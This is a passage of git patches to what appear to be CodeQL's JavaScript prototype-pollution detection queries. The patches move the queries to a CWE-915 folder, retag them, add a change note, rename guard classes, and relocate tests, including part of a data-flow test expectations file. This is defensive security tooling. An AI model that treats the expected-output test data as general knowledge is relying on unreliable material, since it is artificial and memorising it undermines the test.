javascript/ql/src/Security/CWE-471/PrototypePollutingAssignment.ql rename to javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.ql diff --git a/javascript/ql/src/Security/CWE-471/PrototypePollutingFunction.qhelp b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.qhelp similarity index 100% rename from javascript/ql/src/Security/CWE-471/PrototypePollutingFunction.qhelp rename to javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.qhelp diff --git a/javascript/ql/src/Security/CWE-471/PrototypePollutingFunction.ql b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql similarity index 100% rename from javascript/ql/src/Security/CWE-471/PrototypePollutingFunction.ql rename to javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql diff --git a/javascript/ql/src/Security/CWE-471/PrototypePollutingMergeCall.qhelp b/javascript/ql/src/Security/CWE-915/PrototypePollutingMergeCall.qhelp similarity index 100% rename from javascript/ql/src/Security/CWE-471/PrototypePollutingMergeCall.qhelp rename to javascript/ql/src/Security/CWE-915/PrototypePollutingMergeCall.qhelp diff --git a/javascript/ql/src/Security/CWE-471/PrototypePollutingMergeCall.ql b/javascript/ql/src/Security/CWE-915/PrototypePollutingMergeCall.ql similarity index 100% rename from javascript/ql/src/Security/CWE-471/PrototypePollutingMergeCall.ql rename to javascript/ql/src/Security/CWE-915/PrototypePollutingMergeCall.ql diff --git a/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingAssignment.js b/javascript/ql/src/Security/CWE-915/examples/PrototypePollutingAssignment.js similarity index 100% rename from javascript/ql/src/Security/CWE-471/examples/PrototypePollutingAssignment.js rename to javascript/ql/src/Security/CWE-915/examples/PrototypePollutingAssignment.js diff --git a/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingAssignmentFixed.js b/javascript/ql/src/Security/CWE-915/examples/PrototypePollutingAssignmentFixed.js similarity index 100% rename from javascript/ql/src/Security/CWE-471/examples/PrototypePollutingAssignmentFixed.js rename to javascript/ql/src/Security/CWE-915/examples/PrototypePollutingAssignmentFixed.js diff --git a/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingFunction.js b/javascript/ql/src/Security/CWE-915/examples/PrototypePollutingFunction.js similarity index 100% rename from javascript/ql/src/Security/CWE-471/examples/PrototypePollutingFunction.js rename to javascript/ql/src/Security/CWE-915/examples/PrototypePollutingFunction.js diff --git a/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingFunction_fixed.js b/javascript/ql/src/Security/CWE-915/examples/PrototypePollutingFunction_fixed.js similarity index 100% rename from javascript/ql/src/Security/CWE-471/examples/PrototypePollutingFunction_fixed.js rename to javascript/ql/src/Security/CWE-915/examples/PrototypePollutingFunction_fixed.js diff --git a/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingFunction_fixed2.js b/javascript/ql/src/Security/CWE-915/examples/PrototypePollutingFunction_fixed2.js similarity index 100% rename from javascript/ql/src/Security/CWE-471/examples/PrototypePollutingFunction_fixed2.js rename to javascript/ql/src/Security/CWE-915/examples/PrototypePollutingFunction_fixed2.js diff --git a/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingMergeCall1.js b/javascript/ql/src/Security/CWE-915/examples/PrototypePollutingMergeCall1.js similarity index 100% rename from javascript/ql/src/Security/CWE-471/examples/PrototypePollutingMergeCall1.js rename to javascript/ql/src/Security/CWE-915/examples/PrototypePollutingMergeCall1.js diff --git a/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingMergeCall2.js b/javascript/ql/src/Security/CWE-915/examples/PrototypePollutingMergeCall2.js similarity index 100% rename from javascript/ql/src/Security/CWE-471/examples/PrototypePollutingMergeCall2.js rename to javascript/ql/src/Security/CWE-915/examples/PrototypePollutingMergeCall2.js diff --git a/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingMergeCall_fixed.json b/javascript/ql/src/Security/CWE-915/examples/PrototypePollutingMergeCall_fixed.json similarity index 100% rename from javascript/ql/src/Security/CWE-471/examples/PrototypePollutingMergeCall_fixed.json rename to javascript/ql/src/Security/CWE-915/examples/PrototypePollutingMergeCall_fixed.json From ca38a1c8b92b3ec660658713d7b02ebbbdfb1397 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Wed, 25 Nov 2020 14:01:29 +0000 Subject: [PATCH 0160/1241] JS: Update CWE tags --- .../ql/src/Security/CWE-915/PrototypePollutingAssignment.ql | 6 ++++-- .../ql/src/Security/CWE-915/PrototypePollutingFunction.ql | 4 +++- .../ql/src/Security/CWE-915/PrototypePollutingMergeCall.ql | 4 +++- 3 files changed, 10 insertions(+), 4 deletions(-) diff --git a/javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.ql b/javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.ql index 1992b8e5014..310e7b05830 100644 --- a/javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.ql +++ b/javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.ql @@ -8,8 +8,10 @@ * @precision high * @id js/prototype-polluting-assignment * @tags security - * external/cwe/cwe-250 - * external/cwe/cwe-471 + * external/cwe/cwe-078 + * external/cwe/cwe-094 + * external/cwe/cwe-400 + * external/cwe/cwe-915 */ import javascript diff --git a/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql index 4c0f96fff5d..c1d638b07d1 100644 --- a/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql +++ b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql @@ -7,8 +7,10 @@ * @precision high * @id js/prototype-pollution-utility * @tags security + * external/cwe/cwe-078 + * external/cwe/cwe-094 * external/cwe/cwe-400 - * external/cwe/cwe-471 + * external/cwe/cwe-915 */ import javascript diff --git a/javascript/ql/src/Security/CWE-915/PrototypePollutingMergeCall.ql b/javascript/ql/src/Security/CWE-915/PrototypePollutingMergeCall.ql index 5a1a3e61f8e..7d541bb01d7 100644 --- a/javascript/ql/src/Security/CWE-915/PrototypePollutingMergeCall.ql +++ b/javascript/ql/src/Security/CWE-915/PrototypePollutingMergeCall.ql @@ -8,8 +8,10 @@ * @precision high * @id js/prototype-pollution * @tags security - * external/cwe/cwe-250 + * external/cwe/cwe-078 + * external/cwe/cwe-094 * external/cwe/cwe-400 + * external/cwe/cwe-915 */ import javascript From e42ca881a3855dba9d7b736b5dd28766fcda251d Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Wed, 25 Nov 2020 14:06:29 +0000 Subject: [PATCH 0161/1241] JS: Update security suite after move to CWE-915 --- javascript/config/suites/javascript/security | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/javascript/config/suites/javascript/security b/javascript/config/suites/javascript/security index 707890e8296..3e87d292d7b 100644 --- a/javascript/config/suites/javascript/security +++ b/javascript/config/suites/javascript/security @@ -37,9 +37,9 @@ + semmlecode-javascript-queries/Security/CWE-338/InsecureRandomness.ql: /Security/CWE/CWE-338 + semmlecode-javascript-queries/Security/CWE-346/CorsMisconfigurationForCredentials.ql: /Security/CWE/CWE-346 + semmlecode-javascript-queries/Security/CWE-352/MissingCsrfMiddleware.ql: /Security/CWE/CWE-352 -+ semmlecode-javascript-queries/Security/CWE-400/PrototypePollution.ql: /Security/CWE/CWE-400 -+ semmlecode-javascript-queries/Security/CWE-400/PrototypePollutionUtility.ql: /Security/CWE/CWE-400 -+ semmlecode-javascript-queries/Security/CWE-471/PrototypePollutingAssignment.ql: /Security/CWE/CWE-471 ++ semmlecode-javascript-queries/Security/CWE-915/PrototypePollutingAssignment.ql: /Security/CWE/CWE-915 ++ semmlecode-javascript-queries/Security/CWE-915/PrototypePollutingFunction.ql: /Security/CWE/CWE-915 ++ semmlecode-javascript-queries/Security/CWE-915/PrototypePollutingMergeCall.ql: /Security/CWE/CWE-915 + semmlecode-javascript-queries/Security/CWE-400/RemotePropertyInjection.ql: /Security/CWE/CWE-400 + semmlecode-javascript-queries/Security/CWE-502/UnsafeDeserialization.ql: /Security/CWE/CWE-502 + semmlecode-javascript-queries/Security/CWE-506/HardcodedDataInterpretedAsCode.ql: /Security/CWE/CWE-506 From 544b3d963122dcb036ea1616f1c72a93cb1bf803 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Wed, 25 Nov 2020 14:39:40 +0000 Subject: [PATCH 0162/1241] JS: Change note --- .../change-notes/2020-11-25-prototype-pollution.md | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 javascript/change-notes/2020-11-25-prototype-pollution.md diff --git a/javascript/change-notes/2020-11-25-prototype-pollution.md b/javascript/change-notes/2020-11-25-prototype-pollution.md new file mode 100644 index 00000000000..330d7178fbe --- /dev/null +++ b/javascript/change-notes/2020-11-25-prototype-pollution.md @@ -0,0 +1,10 @@ +lgtm,codescanning +* Detection of prototype pollution has improved and the queries involved have been reorganized: + * A new query "Prototype-polluting assignment" (`js/prototype-polluting-assignment`) has been added. This query + highlights direct modifications of an object obtained via a user-controlled property name, which may accidentally alter `Object.prototype`. + * The query previously named "Prototype pollution" (`js/prototype-pollution`) has been renamed to "Prototype-polluting merge call". + This highlights indirect modification of `Object.prototype` via an unsafe `merge` call taking a user-controlled object as argument. + * The query previously named "Prototype pollution in utility function" (`js/prototype-pollution-utility`) has been renamed to "Prototype-polluting function". + This query highlights the implementation of an unsafe `merge` function, to ensure a robust API is exposed downstream. + * The prototype pollution queries have been moved to the Security/CWE-915 folder, + and tagged with CWE-079, CWE-094, CWE-400, and CWE-915. From 479dcf56ad84accb02ef461c92c943f9b13a3bd7 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Wed, 25 Nov 2020 14:48:04 +0000 Subject: [PATCH 0163/1241] JS: Update to use more inclusive language --- .../CWE-915/PrototypePollutingFunction.qhelp | 4 ++-- .../CWE-915/PrototypePollutingFunction.ql | 24 +++++++++---------- 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.qhelp b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.qhelp index 5dfcbd5a4b1..2b31df9360d 100644 --- a/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.qhelp +++ b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.qhelp @@ -29,7 +29,7 @@

    Only merge or assign a property recursively when it is an own property of the destination object. - Alternatively, blacklist the property names __proto__ and constructor + Alternatively, deny the property names __proto__ and constructor from being merged or assigned to.

    @@ -54,7 +54,7 @@

    - Alternatively, blacklist the __proto__ and constructor properties: + Alternatively, deny the __proto__ and constructor properties:

    diff --git a/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql index c1d638b07d1..e3fb4129749 100644 --- a/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql +++ b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.ql @@ -278,14 +278,14 @@ class PropNameTracking extends DataFlow::Configuration { } override predicate isBarrierGuard(DataFlow::BarrierGuardNode node) { - node instanceof BlacklistEqualityGuard or - node instanceof WhitelistEqualityGuard or + node instanceof DenyListEqualityGuard or + node instanceof AllowListEqualityGuard or node instanceof HasOwnPropertyGuard or node instanceof InExprGuard or node instanceof InstanceOfGuard or node instanceof TypeofGuard or - node instanceof BlacklistInclusionGuard or - node instanceof WhitelistInclusionGuard or + node instanceof DenyListInclusionGuard or + node instanceof AllowListInclusionGuard or node instanceof IsPlainObjectGuard } } @@ -293,11 +293,11 @@ class PropNameTracking extends DataFlow::Configuration { /** * Sanitizer guard of form `x === "__proto__"` or `x === "constructor"`. */ -class BlacklistEqualityGuard extends DataFlow::LabeledBarrierGuardNode, ValueNode { +class DenyListEqualityGuard extends DataFlow::LabeledBarrierGuardNode, ValueNode { override EqualityTest astNode; string propName; - BlacklistEqualityGuard() { + DenyListEqualityGuard() { astNode.getAnOperand().getStringValue() = propName and propName = unsafePropName() } @@ -312,10 +312,10 @@ class BlacklistEqualityGuard extends DataFlow::LabeledBarrierGuardNode, ValueNod /** * An equality test with something other than `__proto__` or `constructor`. */ -class WhitelistEqualityGuard extends DataFlow::LabeledBarrierGuardNode, ValueNode { +class AllowListEqualityGuard extends DataFlow::LabeledBarrierGuardNode, ValueNode { override EqualityTest astNode; - WhitelistEqualityGuard() { + AllowListEqualityGuard() { not astNode.getAnOperand().getStringValue() = unsafePropName() and astNode.getAnOperand() instanceof Literal } @@ -429,10 +429,10 @@ class TypeofGuard extends DataFlow::LabeledBarrierGuardNode, DataFlow::ValueNode /** * A check of form `["__proto__"].includes(x)` or similar. */ -class BlacklistInclusionGuard extends DataFlow::LabeledBarrierGuardNode, InclusionTest { +class DenyListInclusionGuard extends DataFlow::LabeledBarrierGuardNode, InclusionTest { UnsafePropLabel label; - BlacklistInclusionGuard() { + DenyListInclusionGuard() { exists(DataFlow::ArrayCreationNode array | array.getAnElement().getStringValue() = label and array.flowsTo(getContainerNode()) @@ -449,8 +449,8 @@ class BlacklistInclusionGuard extends DataFlow::LabeledBarrierGuardNode, Inclusi /** * A check of form `xs.includes(x)` or similar, which sanitizes `x` in the true case. */ -class WhitelistInclusionGuard extends DataFlow::LabeledBarrierGuardNode { - WhitelistInclusionGuard() { +class AllowListInclusionGuard extends DataFlow::LabeledBarrierGuardNode { + AllowListInclusionGuard() { this instanceof TaintTracking::PositiveIndexOfSanitizer or this instanceof TaintTracking::MembershipTestSanitizer and From 0a7513fdfb0aab81a1cfbad5881af38e497fffe1 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Wed, 25 Nov 2020 16:08:16 +0000 Subject: [PATCH 0164/1241] JS: Move and rename test cases as well --- .../Security/CWE-400/PrototypePollution.qlref | 1 - .../PrototypePollutionUtility.expected | 3012 ----------------- .../CWE-400/PrototypePollutionUtility.qlref | 1 - .../PrototypePollutingFunction.expected | 3012 +++++++++++++++++ .../PrototypePollutingFunction.qlref | 1 + .../examples/PrototypePollutingFunction.js} | 0 .../PrototypePollutingFunction_fixed.js} | 0 .../PrototypePollutingFunction_fixed2.js} | 0 .../path-assignment.js | 0 .../PrototypePollutingFunction}/tests.js | 0 .../PrototypePollutingMergeCall.expected} | 0 .../PrototypePollutingMergeCall.qlref | 1 + .../angularmerge.js | 0 .../src-non-vulnerable-lodash/package.json | 0 .../src-non-vulnerable-lodash/tst.js | 0 .../src-vulnerable-lodash/package.json | 0 .../src-vulnerable-lodash/tst.js | 0 17 files changed, 3014 insertions(+), 3014 deletions(-) delete mode 100644 javascript/ql/test/query-tests/Security/CWE-400/PrototypePollution.qlref delete mode 100644 javascript/ql/test/query-tests/Security/CWE-400/PrototypePollutionUtility.expected delete mode 100644 javascript/ql/test/query-tests/Security/CWE-400/PrototypePollutionUtility.qlref create mode 100644 javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.expected create mode 100644 javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.qlref rename javascript/ql/test/query-tests/Security/{CWE-400/examples/PrototypePollutionUtility.js => CWE-915/PrototypePollutingFunction/examples/PrototypePollutingFunction.js} (100%) rename javascript/ql/test/query-tests/Security/{CWE-400/examples/PrototypePollutionUtility_fixed.js => CWE-915/PrototypePollutingFunction/examples/PrototypePollutingFunction_fixed.js} (100%) rename javascript/ql/test/query-tests/Security/{CWE-400/examples/PrototypePollutionUtility_fixed2.js => CWE-915/PrototypePollutingFunction/examples/PrototypePollutingFunction_fixed2.js} (100%) rename javascript/ql/test/query-tests/Security/{CWE-400/PrototypePollutionUtility => CWE-915/PrototypePollutingFunction}/path-assignment.js (100%) rename javascript/ql/test/query-tests/Security/{CWE-400/PrototypePollutionUtility => CWE-915/PrototypePollutingFunction}/tests.js (100%) rename javascript/ql/test/query-tests/Security/{CWE-400/PrototypePollution.expected => CWE-915/PrototypePollutingMergeCall/PrototypePollutingMergeCall.expected} (100%) create mode 100644 javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/PrototypePollutingMergeCall.qlref rename javascript/ql/test/query-tests/Security/{CWE-400 => CWE-915/PrototypePollutingMergeCall}/angularmerge.js (100%) rename javascript/ql/test/query-tests/Security/{CWE-400 => CWE-915/PrototypePollutingMergeCall}/src-non-vulnerable-lodash/package.json (100%) rename javascript/ql/test/query-tests/Security/{CWE-400 => CWE-915/PrototypePollutingMergeCall}/src-non-vulnerable-lodash/tst.js (100%) rename javascript/ql/test/query-tests/Security/{CWE-400 => CWE-915/PrototypePollutingMergeCall}/src-vulnerable-lodash/package.json (100%) rename javascript/ql/test/query-tests/Security/{CWE-400 => CWE-915/PrototypePollutingMergeCall}/src-vulnerable-lodash/tst.js (100%) diff --git a/javascript/ql/test/query-tests/Security/CWE-400/PrototypePollution.qlref b/javascript/ql/test/query-tests/Security/CWE-400/PrototypePollution.qlref deleted file mode 100644 index e43c860a15e..00000000000 --- a/javascript/ql/test/query-tests/Security/CWE-400/PrototypePollution.qlref +++ /dev/null @@ -1 +0,0 @@ -Security/CWE-400/PrototypePollution.ql \ No newline at end of file diff --git a/javascript/ql/test/query-tests/Security/CWE-400/PrototypePollutionUtility.expected b/javascript/ql/test/query-tests/Security/CWE-400/PrototypePollutionUtility.expected deleted file mode 100644 index 4180bfaabdd..00000000000 --- a/javascript/ql/test/query-tests/Security/CWE-400/PrototypePollutionUtility.expected +++ /dev/null @@ -1,3012 +0,0 @@ -nodes -| PrototypePollutionUtility/path-assignment.js:8:13:8:25 | key | -| PrototypePollutionUtility/path-assignment.js:8:13:8:25 | key | -| PrototypePollutionUtility/path-assignment.js:8:19:8:25 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:8:19:8:25 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:8:19:8:25 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:13:13:13:32 | target | -| PrototypePollutionUtility/path-assignment.js:13:13:13:32 | target | -| PrototypePollutionUtility/path-assignment.js:13:22:13:27 | target | -| PrototypePollutionUtility/path-assignment.js:13:22:13:27 | target | -| PrototypePollutionUtility/path-assignment.js:13:22:13:32 | target[key] | -| PrototypePollutionUtility/path-assignment.js:13:22:13:32 | target[key] | -| PrototypePollutionUtility/path-assignment.js:13:29:13:31 | key | -| PrototypePollutionUtility/path-assignment.js:13:29:13:31 | key | -| PrototypePollutionUtility/path-assignment.js:15:13:15:18 | target | -| PrototypePollutionUtility/path-assignment.js:15:13:15:18 | target | -| PrototypePollutionUtility/path-assignment.js:15:13:15:18 | target | -| PrototypePollutionUtility/path-assignment.js:15:20:15:22 | key | -| PrototypePollutionUtility/path-assignment.js:15:20:15:22 | key | -| PrototypePollutionUtility/path-assignment.js:15:20:15:22 | key | -| PrototypePollutionUtility/path-assignment.js:41:13:41:25 | key | -| PrototypePollutionUtility/path-assignment.js:41:13:41:25 | key | -| PrototypePollutionUtility/path-assignment.js:41:19:41:25 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:41:19:41:25 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:41:19:41:25 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:42:9:42:48 | target | -| PrototypePollutionUtility/path-assignment.js:42:9:42:48 | target | -| PrototypePollutionUtility/path-assignment.js:42:18:42:23 | target | -| PrototypePollutionUtility/path-assignment.js:42:18:42:23 | target | -| PrototypePollutionUtility/path-assignment.js:42:18:42:23 | target | -| PrototypePollutionUtility/path-assignment.js:42:18:42:48 | target[ ... ] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:42:18:42:48 | target[ ... ] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:42:25:42:27 | key | -| PrototypePollutionUtility/path-assignment.js:42:25:42:27 | key | -| PrototypePollutionUtility/path-assignment.js:42:25:42:27 | key | -| PrototypePollutionUtility/path-assignment.js:42:32:42:37 | target | -| PrototypePollutionUtility/path-assignment.js:42:32:42:37 | target | -| PrototypePollutionUtility/path-assignment.js:42:32:42:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:42:32:42:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:42:32:42:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:42:32:42:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:42:32:42:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:42:39:42:41 | key | -| PrototypePollutionUtility/path-assignment.js:42:39:42:41 | key | -| PrototypePollutionUtility/path-assignment.js:44:5:44:10 | target | -| PrototypePollutionUtility/path-assignment.js:44:5:44:10 | target | -| PrototypePollutionUtility/path-assignment.js:44:5:44:10 | target | -| PrototypePollutionUtility/path-assignment.js:44:12:44:18 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:44:12:44:18 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:44:12:44:18 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:44:12:44:18 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:58:13:58:25 | key | -| PrototypePollutionUtility/path-assignment.js:58:13:58:25 | key | -| PrototypePollutionUtility/path-assignment.js:58:19:58:25 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:58:19:58:25 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:58:19:58:25 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:59:9:59:48 | target | -| PrototypePollutionUtility/path-assignment.js:59:9:59:48 | target | -| PrototypePollutionUtility/path-assignment.js:59:18:59:23 | target | -| PrototypePollutionUtility/path-assignment.js:59:18:59:23 | target | -| PrototypePollutionUtility/path-assignment.js:59:18:59:23 | target | -| PrototypePollutionUtility/path-assignment.js:59:18:59:48 | target[ ... ] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:59:18:59:48 | target[ ... ] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:59:25:59:27 | key | -| PrototypePollutionUtility/path-assignment.js:59:25:59:27 | key | -| PrototypePollutionUtility/path-assignment.js:59:25:59:27 | key | -| PrototypePollutionUtility/path-assignment.js:59:32:59:37 | target | -| PrototypePollutionUtility/path-assignment.js:59:32:59:37 | target | -| PrototypePollutionUtility/path-assignment.js:59:32:59:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:59:32:59:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:59:32:59:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:59:32:59:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:59:32:59:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:59:39:59:41 | key | -| PrototypePollutionUtility/path-assignment.js:59:39:59:41 | key | -| PrototypePollutionUtility/path-assignment.js:61:5:61:10 | target | -| PrototypePollutionUtility/path-assignment.js:61:5:61:10 | target | -| PrototypePollutionUtility/path-assignment.js:61:5:61:10 | target | -| PrototypePollutionUtility/path-assignment.js:61:12:61:18 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:61:12:61:18 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:61:12:61:18 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:61:12:61:18 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:68:13:68:25 | key | -| PrototypePollutionUtility/path-assignment.js:68:13:68:25 | key | -| PrototypePollutionUtility/path-assignment.js:68:19:68:25 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:68:19:68:25 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:68:19:68:25 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:69:9:69:48 | target | -| PrototypePollutionUtility/path-assignment.js:69:9:69:48 | target | -| PrototypePollutionUtility/path-assignment.js:69:18:69:23 | target | -| PrototypePollutionUtility/path-assignment.js:69:18:69:23 | target | -| PrototypePollutionUtility/path-assignment.js:69:18:69:23 | target | -| PrototypePollutionUtility/path-assignment.js:69:18:69:48 | target[ ... ] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:69:18:69:48 | target[ ... ] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:69:25:69:27 | key | -| PrototypePollutionUtility/path-assignment.js:69:25:69:27 | key | -| PrototypePollutionUtility/path-assignment.js:69:25:69:27 | key | -| PrototypePollutionUtility/path-assignment.js:69:32:69:37 | target | -| PrototypePollutionUtility/path-assignment.js:69:32:69:37 | target | -| PrototypePollutionUtility/path-assignment.js:69:32:69:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:69:32:69:42 | target[key] | -| PrototypePollutionUtility/path-assignment.js:69:32:69:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:69:32:69:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:69:32:69:48 | target[key] \|\| {} | -| PrototypePollutionUtility/path-assignment.js:69:39:69:41 | key | -| PrototypePollutionUtility/path-assignment.js:69:39:69:41 | key | -| PrototypePollutionUtility/path-assignment.js:71:5:71:10 | target | -| PrototypePollutionUtility/path-assignment.js:71:5:71:10 | target | -| PrototypePollutionUtility/path-assignment.js:71:5:71:10 | target | -| PrototypePollutionUtility/path-assignment.js:71:12:71:18 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:71:12:71:18 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:71:12:71:18 | keys[i] | -| PrototypePollutionUtility/path-assignment.js:71:12:71:18 | keys[i] | -| PrototypePollutionUtility/tests.js:3:25:3:27 | dst | -| PrototypePollutionUtility/tests.js:3:25:3:27 | dst | -| PrototypePollutionUtility/tests.js:3:30:3:32 | src | -| PrototypePollutionUtility/tests.js:3:30:3:32 | src | -| PrototypePollutionUtility/tests.js:4:14:4:16 | key | -| PrototypePollutionUtility/tests.js:4:14:4:16 | key | -| PrototypePollutionUtility/tests.js:4:14:4:16 | key | -| PrototypePollutionUtility/tests.js:6:28:6:30 | dst | -| PrototypePollutionUtility/tests.js:6:28:6:30 | dst | -| PrototypePollutionUtility/tests.js:6:28:6:35 | dst[key] | -| PrototypePollutionUtility/tests.js:6:28:6:35 | dst[key] | -| PrototypePollutionUtility/tests.js:6:28:6:35 | dst[key] | -| PrototypePollutionUtility/tests.js:6:28:6:35 | dst[key] | -| PrototypePollutionUtility/tests.js:6:32:6:34 | key | -| PrototypePollutionUtility/tests.js:6:32:6:34 | key | -| PrototypePollutionUtility/tests.js:6:38:6:40 | src | -| PrototypePollutionUtility/tests.js:6:38:6:40 | src | -| PrototypePollutionUtility/tests.js:6:38:6:45 | src[key] | -| PrototypePollutionUtility/tests.js:6:38:6:45 | src[key] | -| PrototypePollutionUtility/tests.js:6:38:6:45 | src[key] | -| PrototypePollutionUtility/tests.js:6:38:6:45 | src[key] | -| PrototypePollutionUtility/tests.js:6:38:6:45 | src[key] | -| PrototypePollutionUtility/tests.js:6:42:6:44 | key | -| PrototypePollutionUtility/tests.js:6:42:6:44 | key | -| PrototypePollutionUtility/tests.js:8:13:8:15 | dst | -| PrototypePollutionUtility/tests.js:8:13:8:15 | dst | -| PrototypePollutionUtility/tests.js:8:13:8:15 | dst | -| PrototypePollutionUtility/tests.js:8:17:8:19 | key | -| PrototypePollutionUtility/tests.js:8:17:8:19 | key | -| PrototypePollutionUtility/tests.js:8:17:8:19 | key | -| PrototypePollutionUtility/tests.js:8:24:8:26 | src | -| PrototypePollutionUtility/tests.js:8:24:8:26 | src | -| PrototypePollutionUtility/tests.js:8:24:8:31 | src[key] | -| PrototypePollutionUtility/tests.js:8:24:8:31 | src[key] | -| PrototypePollutionUtility/tests.js:8:24:8:31 | src[key] | -| PrototypePollutionUtility/tests.js:8:24:8:31 | src[key] | -| PrototypePollutionUtility/tests.js:8:24:8:31 | src[key] | -| PrototypePollutionUtility/tests.js:8:24:8:31 | src[key] | -| PrototypePollutionUtility/tests.js:8:28:8:30 | key | -| PrototypePollutionUtility/tests.js:8:28:8:30 | key | -| PrototypePollutionUtility/tests.js:13:24:13:26 | dst | -| PrototypePollutionUtility/tests.js:13:24:13:26 | dst | -| PrototypePollutionUtility/tests.js:13:29:13:31 | src | -| PrototypePollutionUtility/tests.js:13:29:13:31 | src | -| PrototypePollutionUtility/tests.js:14:30:14:32 | key | -| PrototypePollutionUtility/tests.js:14:30:14:32 | key | -| PrototypePollutionUtility/tests.js:14:30:14:32 | key | -| PrototypePollutionUtility/tests.js:16:27:16:29 | dst | -| PrototypePollutionUtility/tests.js:16:27:16:29 | dst | -| PrototypePollutionUtility/tests.js:16:27:16:34 | dst[key] | -| PrototypePollutionUtility/tests.js:16:27:16:34 | dst[key] | -| PrototypePollutionUtility/tests.js:16:27:16:34 | dst[key] | -| PrototypePollutionUtility/tests.js:16:27:16:34 | dst[key] | -| PrototypePollutionUtility/tests.js:16:31:16:33 | key | -| PrototypePollutionUtility/tests.js:16:31:16:33 | key | -| PrototypePollutionUtility/tests.js:16:37:16:39 | src | -| PrototypePollutionUtility/tests.js:16:37:16:39 | src | -| PrototypePollutionUtility/tests.js:16:37:16:44 | src[key] | -| PrototypePollutionUtility/tests.js:16:37:16:44 | src[key] | -| PrototypePollutionUtility/tests.js:16:37:16:44 | src[key] | -| PrototypePollutionUtility/tests.js:16:37:16:44 | src[key] | -| PrototypePollutionUtility/tests.js:16:37:16:44 | src[key] | -| PrototypePollutionUtility/tests.js:16:41:16:43 | key | -| PrototypePollutionUtility/tests.js:16:41:16:43 | key | -| PrototypePollutionUtility/tests.js:18:13:18:15 | dst | -| PrototypePollutionUtility/tests.js:18:13:18:15 | dst | -| PrototypePollutionUtility/tests.js:18:13:18:15 | dst | -| PrototypePollutionUtility/tests.js:18:17:18:19 | key | -| PrototypePollutionUtility/tests.js:18:17:18:19 | key | -| PrototypePollutionUtility/tests.js:18:17:18:19 | key | -| PrototypePollutionUtility/tests.js:18:24:18:26 